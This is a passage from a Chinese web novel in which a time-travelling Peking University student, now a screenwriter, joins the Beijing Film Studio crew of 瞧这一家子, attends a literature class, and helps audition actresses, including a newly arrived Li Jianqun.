被两位前辈窥破了心思,高远脸红起来,嘿嘿一笑道:“上戏舞美系有个女生叫李健群,导演可以重点关注一下。” 写这个剧本的时候,高远就在脑子里回忆着这个年代比较出名的女明星有哪些。 无非也就是潘虹、张瑜、刘小庆、姜黎黎、斯琴高娃这几位。 南龚雪北朱琳,前者倒是出道了,后者应该还在什么医学研究所上班呢。 但这些女同志都不符合高远对小红这个角色的定位。 思来想去,李健群才是最贴合角色的那一个。 并且李健群的事业发展路线高远很清楚,她这会儿就读于上海戏剧学院舞蹈美术系,虽说没有出演过电影的经验,但是可以调教啊。 高远最爱调教了。 王好为满脸惊讶,“小高你去过上戏?见过这个李健群?” 高远摸摸鼻子,“没有,听人说起过。” 王好为一副意味深长的笑容,想了想还是答应下来,“好,我这就让小孙联系上戏的领导,先让李健群同学过来试试戏吧,具体能不能出演小红一角,看她自己的表现。” 高远心满意足,笑着说好,又问:“那其他角色呢?” 第46章 正式进组 王好为笑着说道:“既然你问到了,我还是要跟你说一声,其他角色,不论男角女角,还是要以厂里的职工为主。 刚才我也跟你说过了,小庆等几个姑娘找过我,从我的角度出发,该照顾还得照顾。 我认为,由小庆出现张岚一角是合适的,她起码能够表现出张岚这个角色泼辣的性格来。 至于说嘉英,我倾向于张金玲。 其他配角厂里也有合适的人选,小高,你虽然不是北影厂的人,但也请你理解,这片子毕竟是北影厂负责拍摄,我们必须要为厂里的利益考虑。” 高远笑着说:“我指定理解的。” 他心说,刘小庆厉害啊,最终还是拿下了张岚这个角色。 高远无所谓,抛开私生活不谈,庆奶还是有实力的,赞一句当代最著名女演员毫不为过。 他站起来,说道:“导演,那就这样吧,您需要我啥时候进组,您打发人通知我。但是有件事我得提前说,厂里必须得提前跟我们学校打招呼。” 王好为也站起身,说:“这点你放心,回头我就让领导们去跟你们学校领导讲清楚。 国家的电影事业也是意识形态的具体表达,重要程度不言而喻,我相信你们学校的领导们会分清主次的。 再者说,剧组离开你也不行,拍摄的时候需要现场改戏,你不在,我们可就抓瞎了。 从现在开始筹备,剧组导演组、后勤组、服化道已经全部入住招待所了,就差演员了,也是需要你这个编剧立马进组的。 我们最多筹备两个月,五月中旬正式开拍,争取年底上映。 也就是说,从筹备初期,你就要全程参与。” 高远还是有点兴奋的,他说道:“只要厂里跟学校方面协调好关系,我随时可以进组。” 王好为笑道:“你放心,我会帮你协调进组问题的。” 高远说声好,回到隔壁403休息。 他根本没打算回学校,说实话,在学校里,虽然能聆听大师教学科,但生命诚可贵,爱情价更高,若为自由故,两者皆可抛。 这个道理他还是明白的。 他洗了把脸,躺在床上睡了一会儿。 一觉醒来,已是五点半钟。 过完年,到了春天,天明显长了。 外面天光大亮。 高远起来,又洗了把脸,刚回到客厅,咚咚咚的敲门声响了起来。 “请进。” 梁晓声走了进来,问:“晚上吃食堂?” 高远点头道:“那就吃食堂吧。” 两人下了楼。 在楼门口偶遇一个江珊。 “哥哥说话不算数!” “你怨念很深啊,我怎么说话不算数了?” “你答应给我的糖呢?” 高远羞愧,牵着她的手,说:“走,哥哥这就给你买去。” 江珊嘿嘿笑道:“不要了,哥哥请我吃红烧鲤鱼吧,今天晚上食堂里有红烧鲤鱼。” “没问题啊,反正哥哥吃饭不花钱,就请你吃红烧鲤鱼了,还喜欢吃什么,珊珊尽管点,管够。” “哥哥真好。” 高远抱着江珊举高高,惹得小姑娘咯咯娇笑。 三人走进食堂,打了饭菜找了个空位置坐下。 陈强老师走过来,端着个餐盘放桌面上一放,看着高远矜持一笑,“小高你好,我是陈强。” 高远忙站起身,恭敬地说道:“陈老师您好,哎呀,您怎么还亲自过来了,小子我诚惶诚恐啊。” 陈强呵呵笑道:“坐下说坐下说,你没把我当做南霸天,我也就非常高兴了。我听二子说起过你,他夸你是个很有学识的年轻人。我本来打算正式建组后再跟你见个面认识一下的。 后来觉得,有必要提前跟你沟通一下。” “您老说,小子听着呢。” “年轻有为啊!你是个很有才华的年轻人,写的这个故事我非常喜欢。想必王导也跟你说过了,我会出现胡主任这个角色。过来找你,两个意思。 第一,感谢你写出了这么好一个故事。 第二,希望你多点拨佩斯。 你俩年龄相近,我希望你俩能成为良师益友,进而成为好朋友。” “老师您过誉了,我和二哥十分投缘,也对电影艺术有共同的追求,您放心,我俩会好好相处的,定不负您的期望。” 陈强将一个肉丸子夹到高远碗中,说道:“好小子,你这么说,我就放心了。” 高远这顿饭吃得很惶恐,但也笑着吃完。 第二天,江淮延找到他,跟他说,厂里派了个副厂长去北大跟费振刚主任协调。 北大中文系上到老师,下到同学们都炸了。 他们无不为高远写的剧本感到震撼和欣喜。 一致认为这是北大中文系建系以来最出色的作品。 梁晓声还说,他和费主任进了系主任办公室的时候,费主任正在看高远的剧本。 他笑得牙都快碎了。 说明来意后,费主任很爽快地答应了高远入组的事情,特批给高远三个月假期,不够再续。 高远从北影厂安定下来,继续开始他白嫖的生活。 这天,无所事事的他正在房间里躺尸,房门被人敲响了。 他走过去开了门,一看,一头浓密头发,呲着大白牙的陈佩斯出现在眼前。 “陈老师,您怎么得空过来了?” 第47章 动心思 “你这家伙,喊我爸老师,也喊我老师,你这不是打我的脸吗?” 陈佩斯笑着走进来,这次没空手,拎了个点心匣子,往茶几上一放,坐下后又说道:“不是说了么,喊哥就成,干嘛那么见外啊。” 高远看看那点心匣子,乐了,“您咋还带东西过来了,这也太见外了。啥好吃的?” “不是啥值钱的东西,京八件儿,我说我跟小高用不着那么客气,老太太不干,说这是礼数,让我过来谢谢你。”陈佩斯自个儿倒了杯凉白开灌进肚子里。 我就说嘛,你个旱地里的乌龟怎么突然就舒展了,敢情是遇到老太太这口池塘了。 高远也坐下来,打开点心匣子吃了块糕点,嗯,味儿不错。 所谓“京八件”,据说源自清朝宫廷。 有八种糕点组成,分别是福禄寿喜饼、太师饼、椒盐饼、枣泥糕和豆沙糕。 每一种点心都寓意着吉祥、幸福和美好的祝愿。 “谢我啥?谢我让您演了男主角吗?阿姨不清楚,您还不知道么,我可是一点忙都没帮上,您能获得出演这个角色的机会,全是因为导演的赏识。” “话也不能这么说,有道是先有剧本后有电影,没你这个本子,我也就没这个机会。” 陈佩斯也拿起一块点心吃着。 吃完一块点心,他又拿起一块,问高远道:“兄弟这算是正式进组了?” 高远点头道:“算是吧,不过还得回学校一趟,跟老师们当面说明一下情况。我们系主任也说了,让我只要有时间就回去上课,主业不能耽搁。” 陈佩斯咧嘴一笑,道:“你要不说,我都忘了你还是个大学生了,你小子,思想太成熟了。” “此话怎讲啊?” “你没见北影厂的几个姑娘都贼着你呢么,看你那眼神儿,都跟饿狼看见羊似的。” “二子哥别吓唬我啊,我这人胆子小,可不经吓。” 陈佩斯又一笑,继续吃点心,边吃边往外喷碎沫子:“我可不是吓唬你,不信你偷摸观察观察,就知道我有没有言过其实了。” 高远承认,自己这种面容清秀,文采飞扬的小狼狗对女孩子们的杀伤力是巨大的。 尤其是在现如今这个年代中,文化人的地位非常受尊崇。 不信你看,北大校园里,出尽了风头的永远是文学和新闻两个专业的学生。 特别是文学专业的同学们,有几个人进校前就收获了偌大名声,是很有名气的作家和诗人,飞扬跋扈,走路都鼻孔朝天看。 新闻专业的每个人都像是世界各大通讯社的知名记者。 这两个专业才华横溢的同学们,尤其是男同学们,自然成为了女生们关注的焦点。 这也是时代特征的一种表现形式。 但高远并不愿意太过引人注目。 倒不是说他不稀罕小姑娘,仅仅是因为,北影厂的姑娘们岁数都偏大了。 对,他稀罕小姑娘,不稀罕老姑娘。 那颗美人痣不在其列。 高远眼睁睁看着陈小二同志将剩余七块点心尽数塞进肚子里,他目瞪口呆。 “二子哥,合着你这跟空着手来也没啥区别啊。”高远心说,要论没脸没皮,这位敢称第二,就没人敢称第一。 “我这不是怕你放的时间长,放长毛了嘛。”陈佩斯拍拍手,满嘴理由。 “得,吃也吃了喝也喝了,感谢的话我也说了,先走一步,回见吧您内。” 他麻溜闪人了。 “唉……跟个胡同串子似的。”高远叹息着,将点心匣子折吧折吧丢进簸箕中,又抹了抹桌子,想着左右无事,看一眼挂钟,还不到一点钟。 他出门走到隔壁,跟王好为打了声招呼后下楼,骑上自行车奔学校。 王好为的助理追下楼,冲高远喊道:“高老师,王导让我嘱咐您,明天有演员过来试戏,请您务必到场。” 高远没停车,边骑边挥手,表示知道了。 他突然想到,要不要去北电转转? 看一下北电有没有合适的人选。 很快就打消了这个想法。 北电复校后,在20公里外的北农办学,黄亭子校区还没建成呢,跟北影厂还不是邻居。 从北影厂骑行到北电,把铁链子蹬出火星子来也得大半个小时,不值当啊不值当。 再说,北电去年恢复招生了吗? 高远不确定,貌似今年才正式恢复了招生。 去了,也只能看到前两届的工农兵大学生和团带班的学员。 75、76级都有哪些知名人物来着? 好像没几个,不值一看。 他蹬着自行车来到北大校园,锁好车子上楼走进教室后立刻引发轰动。 “高老师回来了啊。” “高老师,文艺战线有意思吗?” “高老师没有倒向资产阶级吧?” 同学们围着高远,七嘴八舌地问道。 继“苏牧是条狗”和“叶叔”之后,“高老师”迅速成为文学专业同学们口中的流行语。 看着一张张熟悉的面孔,高远哭笑不得,冲大家一抱拳说道:“亲爱的同学们,饶了我吧,求你们了,什么高老师、文艺战线、资产阶级,这是我们这些新时代的大学生们该深入探讨的话题吗? 就算咱学校包容开放,允许我们聊聊这些话题,但是你们把高老师、文艺战线和资产阶级结合起来说,这就有点儿过分了啊。 你们这是有多不相信高老师坚定的革命主义精神啊。” 大家:“哈哈哈哈……” 叶君远把高远摁在座位上,笑着问道:“怎么今儿有时间过来了?” 高远摸出烟来散了一圈,回答道:“费主任托人给我带话说,能不耽误课还是尽量不要耽误,我也是这么想的。剧组里暂时也没多少事情,有事儿了导演会让人提前跟我打招呼的,我这不就回来上课了么。 另外就是,我虽说正式进组了,但也没和老师们打招呼,这不合适,今天回来,也是想着去和费主任、老赵见个面,说一声。” 叶君远点头道:“你想得很周全啊,也是,咱们刚开始上课,缺课太多,功课落下再想补上就费劲了。” 査建英在旁边说道:“没关系,我把课堂笔记借给你,有什么不懂的地方你随时问我就是了。” 高远冲她一竖大拇指,道:“仗义!” 査建英嘿嘿嘿。 其他同学:“咦……” “哟,高老师回来了。”江南之教授走进来,笑着调侃高远道。 老头今年83了,仍然坚守在教学的第一线,深受同学们的尊敬和爱戴。 高远忙站起身,走过去,搀着江南之教授的胳膊笑着说:“先生就别开我玩笑了,在您面前,我哪敢自称‘老师’啊,那不是关公面前耍大刀嘛。” 江南之呵呵一笑,目光温和注视着他,“你创作的剧本我看了,用幽默的语言作为外包装,以父子、父女间的矛盾冲突推动故事的发展,精神内核是展现这个时代的发展和进步,很不错的一个本子。” “先生过奖了,还存在很多不足之处,请先生批评指正。”高远谦逊的说道。 他对老先生也极为仰慕。 江南之先生在前几年受到了很大冲击,被迫带领全家远走晋西北。 半路中,儿子儿媳孙子不幸被抓,遭到毒打后先后离世。 临到了先生老两口都没见到孩子们最后一面,连尸首在哪儿也不知道,夫妇二人强忍着悲痛继续赶路,在风沙漫天的晋西北一待就是十一个年头。 亲人的离世,恶劣的自然环境和贫穷的生活并没有消磨掉老先生的意志,他依然一身傲骨,在昏暗的窑洞里著下无数不朽名篇。 高远听赵建福说起过老先生前些年的经历。 赵建福还说,南老被接回来的时候,整个人瘦得只剩皮包骨头了。 老校长对他说,回来了,就好好将养一下身子,实在闲得无聊,就去教研室转一转。 老先生一口回绝,传帮带的工作你不说我也会去做,但只要我还有一口气在,就得站在同学们面前,将来就算死,也要死在七尺讲台上。 听完赵建福的话后,高远感慨道:“千磨万击还坚劲,任尔东西南北风。说的就是南老啊。” “我也正想跟你探讨这个问题呢,你这个剧本诙谐、幽默,也展现了大时代的风貌,但美中不足的是,格局还是有点小了。”老先生在高远的搀扶下坐了下来。 同学们全聚过来了,围在江南之教授身边,听他给高远上课。 高远蹲下来,满眼期待望着老先生。 江南之暗自点头,本就对高远喜爱至极的他,越发欣赏这个谦逊有礼的小伙子了。 “一部优秀的文学作品,不能只讲究独特性和真实性,创作者在编写这个故事的时候,更应该注重展现它的深度和广度。” 江南之娓娓道来:“当然,我也不是说高远写的这个剧本没有深度和广度,他以小人物的视角去展现这个社会的风貌,这点是值得肯定的。 我所说的格局小,指的是语言的运用方面略显浮夸,有几个情节也不太真实。” “先生,比如呢?”高远迫不及待地问道。 能得到老先生的亲自指点,这种机会可得珍惜。 第48章 下一位,方舒 江南之拿起缸子喝口水,望着求知欲满满的高远,笑呵呵说道:“比如,你剧本中写了这么一个情节,男配角去老胡家里做客,不见外的对胡婶说:嫂子,多做一个人的饭,我今儿啊,在你们这儿吃了再走。 胡婶说:那敢情好,可没什么好吃的了。就是点儿茄子,这里买菜太不方便。 那人却说:哎,又不是外人,有咸菜就行。 高远你再深入的思考一下,在当下这个年代里,关系处得再好,多数人也不会腆着脸去给别人家添麻烦吧。 各家各户生活都很困难,你在别人家里吃顿饭,招待你的甭管是茄子也好,咸菜也罢,主家总得让你吃饱吧? 多一个人吃饭,就多消耗一口人的口粮。 剧情细节方面,高远你欠考虑了。” 高远对老先生佩服的五体投地,显而易见,老先生不仅读完了他的剧本,还认真研究思考过了。 连这么点小细节都关注到了。 “先生,学生受教了,回去后我就按照您指出来的不足之处抓紧时间从头到尾再捋一遍,感谢您的指点,学生铭感五内。”高远站起身,郑重地给先生鞠了一躬。 江南之宽慰地笑着,“我说的也不一定都对,咱们共同探讨嘛,也欢迎你随时去教研室找我聊聊。” 高远赶忙答应下来,笑得脸上都开了花。 他不知道的是,老先生起了收徒的心思。 江南之走上讲台,开始上课。 一堂当代文学解析听得高远大呼过瘾。 时间在不知不觉中流逝。 两堂大课上完,高远收拾好课本,跟几位关系不错的同学打过招呼,出了教室,向教学楼走去。 看着他挺拔的背影,同学们都发出“高老师又去了”“可别被女明星腐蚀了啊”“这运气也太好了,写了一个剧本就被北影厂看上了”“人比人该死,货比货该扔呐”之类的话。 梁左看着这些人,心里冷笑不已。 你们以为高老师只是运气好的缘故吗?他只能写一个剧本来吗? 燕雀安知鸿鹄之志! “琢磨什么呢?”杨迎明撞了他肩膀一下,问道。 梁左笑道:“杨哥,你不觉得咱们班有些人很可笑吗?气人有笑人无的,眼珠子都红了。” 杨迎明叹声气,说道:“是啊,人的劣根性被某些同学展现得淋漓尽致。” “咱周末去找高老师玩儿啊。” “这个提议有点棒,顺便还能看看女明星。” 梁左嘿嘿一笑,“杨哥,你一个成了家有孩子的人,就别打歪心思了。” 杨迎明翻个白眼儿道:“结了婚有了孩子,也不耽误我欣赏美好的事物不是?小梁你这思想也过时了。” 梁左也叹声气,“好吧,你叫常有理。” 高远和费振刚、赵建福分别见了面,聆听了系主任和班主任的一番谆谆教诲后,蹬着自行车回到北影厂招待所。 《瞧这一家子》的制作班底已经全部确定下来。 导演王好为,摄影师李晨声。 李晨声是王好为的丈夫。 制片主任、副导演、美术、灯光之类的也各有归属。 别看电影还在筹备期,但越是筹备期事情越杂乱。 招待所四楼被剧组包圆了,人来人往好不热闹。 王好为见天的拉着剧组的各位开会,落实内景摄影棚,寻找外景拍摄场地,根据剧本中人物的刻画让道具部门去制作服装等等。 高远大部分会议都不参加。 但王好为很尊重他,开会前会派小孙过来请他列席。 只要不涉及到他的部分,高远一概婉拒。 给人一种知情识趣的好印象。 但第二天的演员试戏他就没办法再拒绝了。 北影厂主楼小会议室里,会议桌已经被清除出去了,50多平的会议室正中央并排摆着两张三抽桌,三抽桌后面放着四把椅子。 王好为和陈强老师居中而坐,王好为旁边是高远,陈强旁边坐着黄玲老师。 这是今天的四大评委。 前来试戏的演员们还没进来之前,王好为和高远交流了两句。 “你提到的那个李健群我联系上了,对我们邀请她过来试戏,姑娘起初很诧异啊,不过也爽快地答应了,她坐今天上午的火车来,估计傍晚六点钟差不多就能到了。” 王好为意味深长看着他。 她从上戏一个朋友那里听说,李健群长得非常漂亮,有一种古典的美感,但又不缺乏纯净的气质。 这更让王好为感到好奇了。 高远这家伙是怎么从大浪里淘出这块金子来的? 莫非真的是听别人介绍的? 高远察觉不到王导的心思,但感觉她笑起来有些诡异,他一点都不心虚,说道:“那咱们晚上加个班呗,早点把女主的人选确定下来,也好早日开拍。” 王好为说:“行。另外,这份名单给你,我托了好几个朋友,才找来这些备选演员,一会儿她们都会过来试戏,你手里有份名单,也能对得上号。” 高远接过来一看,还真有几位耳熟能详的名字。 许亚军、周里京、沈丹萍、姜黎黎。 不用问,两位男同志是奔着男配角郁林来的,两位女同志不出意外应该是王导给嘉英找的替补。 另有原版中的汪用桓、董子武、江水、陈裕德等人。 高远把这份名单放在桌面上,看着,心说,这还真是男帅女靓,无可匹敌。 但他心里也有一些计较,觉得这些人吧,距离他的要求还是有些远的。 说起北电,最著名的要数78级。 当然不是表演班,而是导演、摄影系更有名气,这些人后来有个特殊的名字,叫:第五代! 高远遐想的时候,王好为对他说道:“时间差不多了,要不,请演员们进来?” 高远愣了下,看看陈强和黄玲,笑道:“二位老师觉得没问题,那就开始吧。” 陈强偏着头,看黄玲一眼,见她点头,便笑着说:“好,开始吧。” 助理小孙去通知前来参加试戏的演员们逐一进入会议室。 首先进来的是刘小庆。 她落落大方,冲四位评委浅鞠一躬,笑着说:“导演和各位老师好,我来试张岚这个角色,我理解的角色是……” 她滔滔不绝,也演了一段儿。 高远看着,无可挑剔。 小庆老师对角色的解读太到位了,这就是早做准备的好处。 最后王导说道:“回去等通知吧。” 而后,各个演员都走了一遍。 高远越看越上头。 尤其是周里京和许亚军表演的时候,高远有一种出戏的感觉。 只因为这二位长得太好看了,英俊小生的样子,若是让他俩中的某一个出演郁林,那就喧宾夺主了。 会抢了陈佩斯的戏。 尤其是女观众一看,哇,这男人太英俊了,怎么不让他去演胡嘉奇呢? 这样,电影就王八蛋了。 高远不能冒这个险,扭头低声对王好为说道:“都不行,长得太俊了,我的意见是,汪用桓老师更合适一些,汪老师更像搞技术的知识分子。” 王好为点头说道:“我也是这个意思,郁林这个角色,那就定汪用桓?” “就定汪老师吧。” 下面,姜黎黎和沈丹萍先后走进来试戏。 两人演了一段嘉英和郁林在阳台上暗送秋波的戏份,还是对手戏,沈丹萍演嘉英,姜黎黎客串郁林。 看的四位老师都有点尬。 陈强扭头对高远说:“要不,待定吧,黎黎还不错,起码演出了嘉英对待爱情英勇无畏的感觉,但是这个沈丹萍……” 高远没让老爷子把话说下去,笑道:“我明白您的意思,那就待定吧,导演说呢?” 王好为叹息一声,说:“我也同意待定。” 后面进来的几位都没有特别打动评审们心绪的表演。 高远说道:“没啥新意啊王导,要不,今儿就到这儿吧……” 他话音刚落,一个瓜子脸庞,麻花辫子,杏眼长眉,俏皮灵动的姑娘走了进来,自我介绍道:“老师们好,对不起,我来晚了,我叫刘冬,是北电表演系的学生。 这次过来试演的角色是胡嘉英。” 高远眼睛一亮,问道:“你选了哪个片段?” “郁林和嘉英结婚的那个片段。” “请开始你的表演。” 刘冬展现了一段,高远亲自给她搭戏。 刘冬情感丰富,把胡嘉英的对白,对郁林的感情,和对厂里新设备,新成就的期望完美表达出来。 这让高远和王导刮目相看。 高远和王好为对视一眼,两人相视一笑,提笔在她名字后面打了个勾。 也就是说,刘冬作为嘉英的候选人,正式进入到剧组领导的视野中来了。 “刘冬同志,回去等通知吧,有了消息,我们会通知你的。”王好为笑着说道。 刘冬笑着微微鞠躬,退了出去。 王好为说道:“小孙,下一个。” 小孙拉开门,冲楼道里喊道:“下一位,方舒。” 第49章 优雅美人李健群 方舒今年21岁,知识分子家庭出身,父亲是文化部领导,母亲是中央音乐学院的。 她身材高佻,活力四射,家庭条件又棒,据说在学校里很受关照。 进来后,她优雅的站着,丁字步,跟酒店服务员似的冲四位老师微微鞠躬说道:“老师们好,我是方舒,来试演的角色是女主角小红。” 高远看着她,确实很漂亮,眉黛春山,秋水剪瞳,说不出的万种风情。 可惜这姑娘是个恋爱脑,后来嫁给小她十多岁的屠洪刚,又离婚了,然后就没有然后了。 王好为笑着说:“你好,念一段台词吧。” 方舒准备得也很充分,她眉目含情望着高远,说道:“请高老师帮我搭个戏吧。” 哟,这么快就打听到我是谁了。 高远点头道:“行,你演那段儿?” “嘉奇结束节目排练后,小红等他那一段。” “没问题。” 高远站起身,拎着椅子走到她不远处,又坐下,垂着头,声音沮丧:“你怎么不走?” 方舒立刻进入剧情,“我在等你。” “你也可以走了。” “我是主人。” “是我该走了。” “谢谢你的辅导。” “是讽刺吗?” 方舒直视着高远,提高点音量,坚定道:“不,你很热情,也很勇敢。” 高远没往下接,又打量她一眼,扭头看着王好为,笑道:“导演,到这儿吧。” 王好为点头说好。 方舒紧张地问道:“导演,老师们,我通过选拔了吗?” 王好为笑着说:“回事收拾收拾东西,先进组吧,能不能最终获得这个角色的出演机会,我们还得观察观察,当然,你自己也得努力。” 方舒攥了攥拳,又鞠了一躬,“感谢导演,感谢各位老师。我马上就回去收拾行李,再见。” 说完,姑娘风风火火地走了。 听到房门传来咔嚓一声轻响,陈强叹了声气。 高远又把椅子拎回来,坐下后笑呵呵问他道:“老爷子,您叹什么气啊?” 陈强也瞧着他,说:“是个好苗子,但活力有余含蓄不足,并且她那个眼神儿,太,太……” 高远接上了茬,说:“太具有攻击性了,适合演大女主,不适合演小女人。” 陈强一拍大腿道:“没错儿,就是攻击性!这个词你小子用得巧妙啊。” 黄玲笑着说道:“我也是这种感觉,给她个阿庆嫂、李铁梅,那绝无问题,让她演小红,少了那么点儿市井气息。导演,没有其他备选了吗?” 王好为一笑,说道:“有啊,晚上还有一位,小高推荐过来的。目前人在火车上呢,辛苦两位老师今晚加个班,一起再看看。” 黄玲说好。 陈强说应该的。 二位老师望向高远的目光有些玩味。 高远无所谓,你们就当我玄学选角就行了。 剧组这边动静挺大,高远和王导、陈老师、黄老师走进食堂吃晚饭的时候,吸引了北影厂一票干部职工关注的目光。 四人打了饭找个空桌坐下,不断有导演过来旁敲侧击打听电影筹备得怎么样了。 王好为倒是好脾气,很有耐心地跟几位导演前辈们介绍着电影的准备情况。 高远嗅出点儿别样的味道来,这几位导演未必有什么好心思,多少有点等着看王好为笑话的意思。 北影厂实行的是苏联那套模式,打造了四大创作集体。 每个创作集体的核心都是资深导演,包含着若干“其他导演”,另有摄像师、美术师、道具师等人组成。 也就是说,一个创作集体就是一支完整的制作团队。 第一创作集体的核心导演叫水华,代表作有《烈火中永生》《白毛女》等等。 第二创作集体的领头人叫崔嵬,《青春之歌》《小兵张嘎》都自出他手,大导他爹陈怀恺就是这个创作集体中的一员干将。 第三创作集体的扛把子是凌子风。 第四集体是成荫。 这两位也各有代表作。 这四位就是汪阳倾力打造的北影厂四大导演。 后来,谢铁骊和谢添也加入北影厂,就形成了四大+二谢的格局。 你可以说,这些人是北影厂最顶级的创作力量,但也不能否认,老导演们也逐渐被岁月磨去艺术棱角。 但王好为、陈怀恺、李文化这些中生代导演的崛起,又是老导演们不愿意看到的事情。 厂里每年拍多少部电影都是有指标的,中生代们多拍一部,老导演们就少拍一部。 相当于中生代正在一点点分割本属于老同志们的蛋糕。 有人看不过去高远一点都不觉得奇怪。 他也没打算掺和这些破事儿。 也犯不上掺和,自个儿又不是北影厂的职工,你们之间的利益冲突跟我有个毛关系啊。 梁晓声冲高远招招手。 高远一看,他那桌还空着一个位置,便对王好为说道:“导演,我去跟梁大哥说几句话。” 王好为猜到了他的心思,笑道:“去吧,抓紧点时间,吃饭完咱们还要继续干活。” 高远说好,端着饭盒去了梁晓声那边。 这张餐桌上有老梁、李秀明和刘小庆。 高远刚坐下,李秀明就哼了声,瞪着他咬牙切齿道:“为什么不选我啊?” 高远笑嘻嘻说道:“这您可不能埋怨我,为什么不选你,你得问导演去。” “导演说,没有适合我的角色。” “那不就结了。” “你是编剧啊,就不能给我设计个合适的角色吗?” “姐姐,已经定稿了,您让我怎么给您设计角色?” 李秀明郁闷、烦躁、使劲抓头发。 高远笑着安抚道:“我又不是只写这一个剧本,今后大把合作的机会。” 李秀明两眼放光,问道:“你又写新剧本了?” 高远吃口米饭,扒拉口菜,含糊其辞道:“只能说脑子里有些想法了,还没开始动笔,怎么也得把眼么前儿这部电影做完后才会动笔。” 李秀明夹给他一个鸡腿,“期待大作,写好后想着点儿我啊。” 高远笑纳了鸡腿,“没问题。” 梁晓声看看高远碗里的鸡腿,禁不住发出一声感慨:“人与人之间的差距怎么这么大啊。” 刘小庆把一个肉丸子放进他碗里,“吃你的吧,吃饭还不堵上你的嘴。” 梁晓声心理瞬间平衡了。 吃过晚饭几人没去主楼,来到招待所王好为的房间。 刚坐下喝了一杯茶,小孙过来说,李健群到了。 王好为说:“带她进来吧。” 高远也十分期待。 心心念念的李健群终于露面了。 片刻后,小孙带着李健群走进了房间。 李健群穿一件灰色羊绒大衣,搭配了一条藕荷色灯芯绒的裤子和一双黑色坡跟小皮靴。 她直到这会儿还懵懵的。 我一个上戏舞蹈美术专业的学生,怎么就跑到背影剧组来试戏了呢? 昨天接到自称是北影厂导演助理的小孙的电话,小孙说,王好为导演邀请您来剧组试戏,她第一反应是,小孙是个骗子。 想都没想就拒绝了。 十分钟后,老师陈逸飞又把她喊去了办公室,让她接听了王好为导演的电话。 王导问她:“对演电影感不感兴趣?” 李健群迟疑了片刻,见陈逸飞对自己点头微笑,显然老师是支持自己往电影艺术这条路上发展的,便说道:“我挺感兴趣的,但我没有受过专业培训,只是业余学习过,不知道自己能不能演好。” 王好为心说,你是高远推荐的呀。 “那就来试试吧,我们剧组愿意给你一个试戏的机会。” 李健群这才答应下来,当即买了今天上午的火车票一路奔波到了京城,又公交转公交来到北影厂招待所。 “王导,老师们,这就是李健群。”进门后,小孙介绍道。 见沙发上坐着五个人,李健群多少有点紧张,但也知道哪位是正主儿。 她看着居中而坐的王好为,温柔一笑,说道:“导演好。” 王好为笑着说:“你好。” 又一眼看见陈强,她眨眨眼,惊奇的不得了,“南、南、南……” 老爷子哈哈一笑,“南霸天。” 李健群也不好意思地笑了,“陈老师,对不起呀,我冒失了,实在是您刻画的坏……坏人形象太深入人心了。” 老爷子心说,你是想说“坏蛋形象”吧。 老艺术家们都很有胸怀和气度,他一笑,又说道:“没关系,想当年我跟随话剧团下部队去给广大官兵们表演《白毛女》时,因为我把黄世仁塑造得太鲜活,差点儿被一名激动的小战士掏出枪来毙了。 相对于那名小战士的表现,姑娘你这算是很平和的了。” 李健群又露出八颗牙齿,笑了起来。 高远也在打量着她,真年轻,真漂亮,气质真独特啊。 尤其是那一双眼睛,似有水波流动,五官明媚大气,唇角下那颗美人痣更彰显出她与众不同的美感。 察觉到两道精光在观察着自己,李健群眼珠一动,发现一个年轻小伙子双眼一眨不眨望着自己,她心说,这位又是谁? 王好为介绍道:“小李,陈老师你不陌生了,我给你介绍一下这三位吧,这位年轻人就是我们这个电影《瞧这一家子》的编剧高远老师。” “这么年轻的编剧啊。”李健群颇感意外。 高远站起身,凑过去笑道:“你好,我是高远。” 李健群抬头看着他,“你好你好,很高兴认识你。” 第50章 女大三抱金砖 有礼有节,落落大方。 见李健群主动伸出了手,高远跟她浅浅一握,给了她一个相当高的评价。 真漂亮啊。 他又禁不住发出感慨。 李健群也眨着大眼睛打量他,好年轻啊,长得还挺好看。 关键是有才华。 “冒昧问一下,您多大了?”李健群问道,嘴角上扯出一丝调皮的笑。 “呃……今年18了。”高远摸着鼻子回答道。 “呀,我比你大3岁呢,你得叫我姐姐。” 高远心说,嗯嗯,女大三抱金砖。 “好吧,姐姐。”他倒乖巧。 瞧着俩人的互动,王好为确信高远之前不认识李健群了,看来,确实是之前有人在小高面前推荐了小李。 王好为也没多问,又给李健群介绍了黄玲和梁晓声认识。 李健群跟两位老师问好。 “小李,听你这口音,武汉人吧?”王好为让李健群坐了,接着问道。 她初见李健群就喜欢上了,别看小姑娘柔柔弱弱的,骨子里却透着自信,目光清澈,看上去古典,穿衣打扮却很洋气。 能够将古典和洋气,温柔和冷清集于一身的姑娘,在影视圈里可不多见。 “您听出来了呀,是的导演,我是武汉人。”李健群笑吟吟说道。 “多少还是有点口音的。”王好为又说:“你讲话很温柔,不像Bj大妞儿,一张嘴跟机关枪往外蹦子弹似的,噼里啪啦没个完。 小高这个剧本呢,虽说写的是京城的人和事,但他塑造的这个女主角,又不是传统意义上的Bj大妞儿。” “不好意思啊导演,我还没看过剧本呢。”李健群挠挠头。 高远忙把打印好的剧本递给她道:“我们不好意思才是,贸贸然把你请过来了,连给你熟悉剧本的时间都没有。” 李健群接过剧本,又眨着大眼睛看他,好奇地问道:“老师们是怎么选中我的?” 来了来了! 小高,我看你怎么圆。 王好为冲高远幸灾乐祸地笑了笑。 高远一点都不慌,他说道:“我跟李坦克老兄关系不错。” 这话说得有水平。 他既没有承认是李坦克向自己推荐了你,又向对方说明了自己和李坦克之间良好的关系。 反正你就猜去吧,我也不怕你去和坦克兄求证。 坦克兄那边我已经提前打过招呼了,老兄也确实跟我提起过你。 他和李坦克的偶然相识也是一场缘分,这是后话,暂且不提。 李健群果然瞪大了眼睛,“原来你和坦克是熟人啊,坦克是我同班同学。” 高远略过这个话题,指了指她手上的剧本道:“你要不要先看看本子?” 李健群脸一红,点头笑着翻开散发着油墨香的剧本,聚精会神看了起来。 王好为轻声问陈强道:“陈老师,您觉得怎么样?” 陈强注视着李健群微微颔首,“演技达标的话,这姑娘比那个方舒更贴合角色。” 王好为也点点头,又看向黄玲。 黄玲笑道:“演技不达标也没问题,咱们几个老的带她一段时间,磨也给她磨出来了。” 哎呀,黄老师,我可太敬佩您这种大公无私教导后辈的崇高精神了。 高远低着头笑的肩膀一抽一抽的。 王好为也看出来了,陈、黄两位老同志极为看好李健群。 但本着严谨务实,为整部影片负责任的态度,她还是没把话说满,“再观察观察吧,我们选演员的唯一标准就是演技起码要合格。” 她没敢说优秀。 李健群的情况她向好友陈逸飞了解得很清楚了。 